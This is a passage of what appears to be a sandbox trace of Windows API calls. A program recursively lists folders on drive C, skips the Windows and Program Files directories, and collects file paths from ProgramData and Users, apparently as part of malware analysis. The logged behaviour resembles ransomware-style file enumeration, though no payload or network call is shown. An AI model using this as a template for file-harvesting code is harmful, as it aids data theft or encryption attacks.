Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned 68 [0123.915] lstrlenW (lpString="vcredist_x86.exe") returned 16 [0123.915] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\", lpString2="vcredist_x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" [0123.915] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 84 [0123.915] lstrcpyW (in: lpString1=0x24ba4b0, lpString2="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" [0123.915] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.915] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.916] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.916] lstrcmpW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2=".") returned 1 [0123.916] lstrcmpW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="..") returned 1 [0123.916] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.916] lstrlenW (lpString="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 38 [0123.916] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0123.916] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0123.916] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned 68 [0123.916] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*" [0123.916] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.916] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.916] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.916] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.916] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.916] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.916] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0123.916] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0123.916] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned 68 [0123.916] lstrlenW (lpString="state.rsm") returned 9 [0123.916] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" [0123.916] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned 77 [0123.916] lstrcpyW (in: lpString1=0x24ba568, lpString2="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" [0123.916] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.916] lstrcmpW (lpString1="VC_redist.x86.exe", lpString2=".") returned 1 [0123.916] lstrcmpW (lpString1="VC_redist.x86.exe", lpString2="..") returned 1 [0123.916] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned 68 [0123.916] lstrlenW (lpString="VC_redist.x86.exe") returned 17 [0123.916] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\", lpString2="VC_redist.x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" [0123.916] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe") returned 85 [0123.916] lstrcpyW (in: lpString1=0x24ba610, lpString2="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" [0123.916] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.916] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.916] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.916] lstrcmpW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2=".") returned 1 [0123.916] lstrcmpW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="..") returned 1 [0123.916] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0123.916] lstrlenW (lpString="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned 49 [0123.916] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0123.916] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0123.916] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned 79 [0123.917] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*") returned="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*" [0123.917] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.917] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.917] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.917] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.917] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.917] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.917] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0123.917] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0123.917] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned 79 [0123.917] lstrlenW (lpString="packages") returned 8 [0123.917] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0123.917] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.917] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.917] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.917] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.917] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.917] lstrcmpW (lpString1="regid.1991-06.com.microsoft", lpString2=".") returned 1 [0123.917] lstrcmpW (lpString1="regid.1991-06.com.microsoft", lpString2="..") returned 1 [0123.917] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0123.917] lstrlenW (lpString="regid.1991-06.com.microsoft") returned 27 [0123.917] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="regid.1991-06.com.microsoft" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft") returned="c:\\ProgramData\\regid.1991-06.com.microsoft" [0123.917] lstrcatW (in: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft", lpString2="\\" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\" [0123.917] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\") returned 43 [0123.917] lstrcatW (in: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\", lpString2="*" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\*") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\*" [0123.917] FindFirstFileW (in: lpFileName="c:\\ProgramData\\regid.1991-06.com.microsoft\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.918] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.918] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.918] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.918] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.918] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.918] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", lpString2=".") returned 1 [0123.918] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", lpString2="..") returned 1 [0123.918] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\") returned 43 [0123.918] lstrlenW (lpString="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned 82 [0123.918] lstrcatW (in: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\", lpString2="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" [0123.918] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned 125 [0123.918] lstrcpyW (in: lpString1=0x24ba6c8, lpString2="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" [0123.918] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.918] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", lpString2=".") returned 1 [0123.918] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", lpString2="..") returned 1 [0123.918] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\") returned 43 [0123.918] lstrlenW (lpString="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned 78 [0123.918] lstrcatW (in: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\", lpString2="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" [0123.918] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned 121 [0123.918] lstrcpyW (in: lpString1=0x24ba7d0, lpString2="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" [0123.918] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.918] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", lpString2=".") returned 1 [0123.918] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", lpString2="..") returned 1 [0123.918] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\") returned 43 [0123.918] lstrlenW (lpString="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned 81 [0123.918] lstrcatW (in: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\", lpString2="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" [0123.918] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned 124 [0123.918] lstrcpyW (in: lpString1=0x24ba8d0, lpString2="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" [0123.918] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.918] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.919] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.919] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0123.919] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0123.919] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0123.919] lstrlenW (lpString="Start Menu") returned 10 [0123.919] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Start Menu" | out: lpString1="c:\\ProgramData\\Start Menu") returned="c:\\ProgramData\\Start Menu" [0123.919] lstrcatW (in: lpString1="c:\\ProgramData\\Start Menu", lpString2="\\" | out: lpString1="c:\\ProgramData\\Start Menu\\") returned="c:\\ProgramData\\Start Menu\\" [0123.919] lstrlenW (lpString="c:\\ProgramData\\Start Menu\\") returned 26 [0123.919] lstrcatW (in: lpString1="c:\\ProgramData\\Start Menu\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Start Menu\\*") returned="c:\\ProgramData\\Start Menu\\*" [0123.919] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Start Menu\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0xffffffff [0123.919] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.919] lstrcmpW (lpString1="Sun", lpString2=".") returned 1 [0123.919] lstrcmpW (lpString1="Sun", lpString2="..") returned 1 [0123.919] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0123.919] lstrlenW (lpString="Sun") returned 3 [0123.919] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Sun" | out: lpString1="c:\\ProgramData\\Sun") returned="c:\\ProgramData\\Sun" [0123.919] lstrcatW (in: lpString1="c:\\ProgramData\\Sun", lpString2="\\" | out: lpString1="c:\\ProgramData\\Sun\\") returned="c:\\ProgramData\\Sun\\" [0123.919] lstrlenW (lpString="c:\\ProgramData\\Sun\\") returned 19 [0123.919] lstrcatW (in: lpString1="c:\\ProgramData\\Sun\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Sun\\*") returned="c:\\ProgramData\\Sun\\*" [0123.919] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Sun\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.919] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.919] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.919] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.919] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.919] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.919] lstrcmpW (lpString1="Java", lpString2=".") returned 1 [0123.919] lstrcmpW (lpString1="Java", lpString2="..") returned 1 [0123.919] lstrlenW (lpString="c:\\ProgramData\\Sun\\") returned 19 [0123.919] lstrlenW (lpString="Java") returned 4 [0123.919] lstrcatW (in: lpString1="c:\\ProgramData\\Sun\\", lpString2="Java" | out: lpString1="c:\\ProgramData\\Sun\\Java") returned="c:\\ProgramData\\Sun\\Java" [0123.919] lstrcatW (in: lpString1="c:\\ProgramData\\Sun\\Java", lpString2="\\" | out: lpString1="c:\\ProgramData\\Sun\\Java\\") returned="c:\\ProgramData\\Sun\\Java\\" [0123.919] lstrlenW (lpString="c:\\ProgramData\\Sun\\Java\\") returned 24 [0123.919] lstrcatW (in: lpString1="c:\\ProgramData\\Sun\\Java\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Sun\\Java\\*") returned="c:\\ProgramData\\Sun\\Java\\*" [0123.920] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Sun\\Java\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.920] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.920] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.920] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.920] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.920] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.920] lstrcmpW (lpString1="Java Update", lpString2=".") returned 1 [0123.920] lstrcmpW (lpString1="Java Update", lpString2="..") returned 1 [0123.920] lstrlenW (lpString="c:\\ProgramData\\Sun\\Java\\") returned 24 [0123.920] lstrlenW (lpString="Java Update") returned 11 [0123.920] lstrcatW (in: lpString1="c:\\ProgramData\\Sun\\Java\\", lpString2="Java Update" | out: lpString1="c:\\ProgramData\\Sun\\Java\\Java Update") returned="c:\\ProgramData\\Sun\\Java\\Java Update" [0123.920] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.920] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.920] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.920] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.920] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.920] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0123.920] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0123.920] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0123.920] lstrlenW (lpString="Templates") returned 9 [0123.920] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Templates" | out: lpString1="c:\\ProgramData\\Templates") returned="c:\\ProgramData\\Templates" [0123.920] lstrcatW (in: lpString1="c:\\ProgramData\\Templates", lpString2="\\" | out: lpString1="c:\\ProgramData\\Templates\\") returned="c:\\ProgramData\\Templates\\" [0123.920] lstrlenW (lpString="c:\\ProgramData\\Templates\\") returned 25 [0123.920] lstrcatW (in: lpString1="c:\\ProgramData\\Templates\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Templates\\*") returned="c:\\ProgramData\\Templates\\*" [0123.920] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Templates\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0xffffffff [0123.920] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 0 [0123.920] FindClose (in: hFindFile=0x4d5720 | out: hFindFile=0x4d5720) returned 1 [0123.920] FindNextFileW (in: hFindFile=0x4d56e0, lpFindFileData=0x20f584 | out: lpFindFileData=0x20f584) returned 1 [0123.920] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1 [0123.920] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1 [0123.920] lstrcmpW (lpString1="Recovery", lpString2="Windows") returned -1 [0123.920] lstrcmpW (lpString1="Recovery", lpString2="Program Files") returned 1 [0123.920] lstrlenW (lpString="c:\\") returned 3 [0123.920] lstrlenW (lpString="Recovery") returned 8 [0123.920] lstrcatW (in: lpString1="c:\\", lpString2="Recovery" | out: lpString1="c:\\Recovery") returned="c:\\Recovery" [0123.920] lstrcatW (in: lpString1="c:\\Recovery", lpString2="\\" | out: lpString1="c:\\Recovery\\") returned="c:\\Recovery\\" [0123.920] lstrlenW (lpString="c:\\Recovery\\") returned 12 [0123.920] lstrcatW (in: lpString1="c:\\Recovery\\", lpString2="*" | out: lpString1="c:\\Recovery\\*") returned="c:\\Recovery\\*" [0123.920] FindFirstFileW (in: lpFileName="c:\\Recovery\\*", lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 0xffffffff [0123.920] FindNextFileW (in: hFindFile=0x4d56e0, lpFindFileData=0x20f584 | out: lpFindFileData=0x20f584) returned 1 [0123.921] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1 [0123.921] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1 [0123.921] lstrcmpW (lpString1="System Volume Information", lpString2="Windows") returned -1 [0123.921] lstrcmpW (lpString1="System Volume Information", lpString2="Program Files") returned 1 [0123.921] lstrlenW (lpString="c:\\") returned 3 [0123.921] lstrlenW (lpString="System Volume Information") returned 25 [0123.921] lstrcatW (in: lpString1="c:\\", lpString2="System Volume Information" | out: lpString1="c:\\System Volume Information") returned="c:\\System Volume Information" [0123.921] lstrcatW (in: lpString1="c:\\System Volume Information", lpString2="\\" | out: lpString1="c:\\System Volume Information\\") returned="c:\\System Volume Information\\" [0123.921] lstrlenW (lpString="c:\\System Volume Information\\") returned 29 [0123.921] lstrcatW (in: lpString1="c:\\System Volume Information\\", lpString2="*" | out: lpString1="c:\\System Volume Information\\*") returned="c:\\System Volume Information\\*" [0123.921] FindFirstFileW (in: lpFileName="c:\\System Volume Information\\*", lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 0xffffffff [0123.921] FindNextFileW (in: hFindFile=0x4d56e0, lpFindFileData=0x20f584 | out: lpFindFileData=0x20f584) returned 1 [0123.921] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0123.921] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0123.921] lstrcmpW (lpString1="Users", lpString2="Windows") returned -1 [0123.921] lstrcmpW (lpString1="Users", lpString2="Program Files") returned 1 [0123.921] lstrlenW (lpString="c:\\") returned 3 [0123.921] lstrlenW (lpString="Users") returned 5 [0123.921] lstrcatW (in: lpString1="c:\\", lpString2="Users" | out: lpString1="c:\\Users") returned="c:\\Users" [0123.921] lstrcatW (in: lpString1="c:\\Users", lpString2="\\" | out: lpString1="c:\\Users\\") returned="c:\\Users\\" [0123.921] lstrlenW (lpString="c:\\Users\\") returned 9 [0123.921] lstrcatW (in: lpString1="c:\\Users\\", lpString2="*" | out: lpString1="c:\\Users\\*") returned="c:\\Users\\*" [0123.921] FindFirstFileW (in: lpFileName="c:\\Users\\*", lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 0x4d5720 [0123.921] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.921] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.921] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.921] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.921] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.921] lstrcmpW (lpString1="aETAdzjz", lpString2=".") returned 1 [0123.921] lstrcmpW (lpString1="aETAdzjz", lpString2="..") returned 1 [0123.921] lstrlenW (lpString="c:\\Users\\") returned 9 [0123.921] lstrlenW (lpString="aETAdzjz") returned 8 [0123.921] lstrcatW (in: lpString1="c:\\Users\\", lpString2="aETAdzjz" | out: lpString1="c:\\Users\\aETAdzjz") returned="c:\\Users\\aETAdzjz" [0123.921] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\") returned="c:\\Users\\aETAdzjz\\" [0123.921] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0123.921] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\*") 